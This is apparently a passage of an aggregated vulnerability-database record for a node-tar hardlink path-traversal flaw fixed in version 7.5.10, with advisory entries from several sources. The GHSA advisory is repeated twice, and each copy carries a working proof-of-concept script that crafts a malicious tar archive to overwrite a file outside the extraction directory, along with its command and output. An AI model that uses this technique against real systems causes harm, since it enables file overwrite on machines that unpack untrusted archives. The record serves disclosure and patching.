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This issue has been patched in version 7.5.10.","status":"published","published":"2026-03-07T15:32:22Z","modified":"2026-09-01T12:05:00Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","level":"high"}],"updated_at":"2026-11-02T18:01:19.285273Z"}],"ghsa":[{"id":"GHSA-qffp-2rhf-9h96","title":"tar has Hardlink Path Traversal via Drive-Relative Linkpath","description":"### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(process.cwd(), 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\\n')\n  process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs \u0026\u0026 ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files","status":"published","published":"2026-03-05T00:52:32Z","modified":"2026-03-09T15:49:59Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:39:33.538417Z"}],"nvd":[{"id":"CVE-2026-29786","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.","status":"published","published":"2026-03-07T16:15:55.587Z","modified":"2026-09-01T13:18:36.727Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N","level":"medium","assessor":"primary"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:12:08.279852Z"}],"osv":[{"id":"CVE-2026-29786","title":"node-tar: Hardlink Path Traversal via Drive-Relative Linkpath","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.","status":"published","published":"2026-03-07T15:32:22.748Z","modified":"2026-10-28T02:30:28.572131501Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:45:00.530889Z"},{"id":"DEBIAN-CVE-2026-29786","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.","status":"published","published":"2026-03-07T16:15:55.587Z","modified":"2026-10-01T03:03:09.333905329Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:53.877573Z"},{"id":"GHSA-qffp-2rhf-9h96","title":"tar has Hardlink Path Traversal via Drive-Relative Linkpath","description":"### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(process.cwd(), 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\\n')\n  process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs \u0026\u0026 ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files","status":"published","published":"2026-03-05T00:52:32Z","modified":"2026-09-10T03:50:40.605623006Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:46:54.40888Z"},{"id":"ROOT-APP-NPM-CVE-2026-29786","title":"CVE-2026-29786 in tar - Patched by Root","description":"Root has patched CVE-2026-29786 in the tar package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-11-03T05:38:33Z","modified":"2026-11-03T06:15:04.516836284Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-03T06:41:39.834803Z"},{"id":"UBUNTU-CVE-2026-29786","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.","status":"published","published":"2026-03-07T16:15:00Z","modified":"2026-06-30T18:17:47.404915116Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","level":"high"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high"},{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:11.640778Z"},{"id":"AZL-101772","title":"CVE-2026-29786 affecting package python-tensorboard 2.16.2-6","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.","status":"published","published":"2026-03-07T16:15:55Z","modified":"2026-09-21T05:34:22Z","updated_at":"2026-11-02T15:28:00.508704Z"},{"id":"AZL-79553","title":"CVE-2026-29786 affecting package tar 1.35-2","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.","status":"published","published":"2026-03-07T16:15:55Z","modified":"2026-04-21T04:34:46.667653Z","updated_at":"2026-11-02T15:28:10.017343Z"},{"id":"AZL-79556","title":"CVE-2026-29786 affecting package tar 1.34-3","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.","status":"published","published":"2026-03-07T16:15:55Z","modified":"2026-04-21T04:34:46.676823Z","updated_at":"2026-11-02T15:28:10.017343Z"},{"id":"CLSA-2026-1773533794","title":"TuxCare security update for tar (6 CVEs)","description":"TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.2.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:12Z","modified":"2026-10-15T09:47:28.780703773Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774830255","title":"TuxCare security update for tar (4 CVEs)","description":"TuxCare rebuilt tar to address 4 CVEs. Fixed in 2.1.1-tuxcare.2.","status":"published","published":"2026-08-04T14:52:16Z","modified":"2026-10-25T01:43:09.243456592Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1776818213","title":"TuxCare security update for tar (2 CVEs)","description":"TuxCare rebuilt tar to address 2 CVEs. Fixed in 1.0.3-tuxcare.3.","status":"published","published":"2026-08-04T14:52:27Z","modified":"2026-10-15T09:45:46.962722864Z","updated_at":"2026-11-02T15:43:44.384419Z"},{"id":"CLSA-2026-1787146736","title":"TuxCare security update for tar (1 CVE)","description":"TuxCare rebuilt tar to address 1 CVE. Fixed in 2.2.2-tuxcare.2.","status":"published","published":"2026-08-19T13:38:56Z","modified":"2026-10-15T09:47:11.147205504Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787916963","title":"TuxCare security update for tar (5 CVEs)","description":"TuxCare rebuilt tar to address 5 CVEs. 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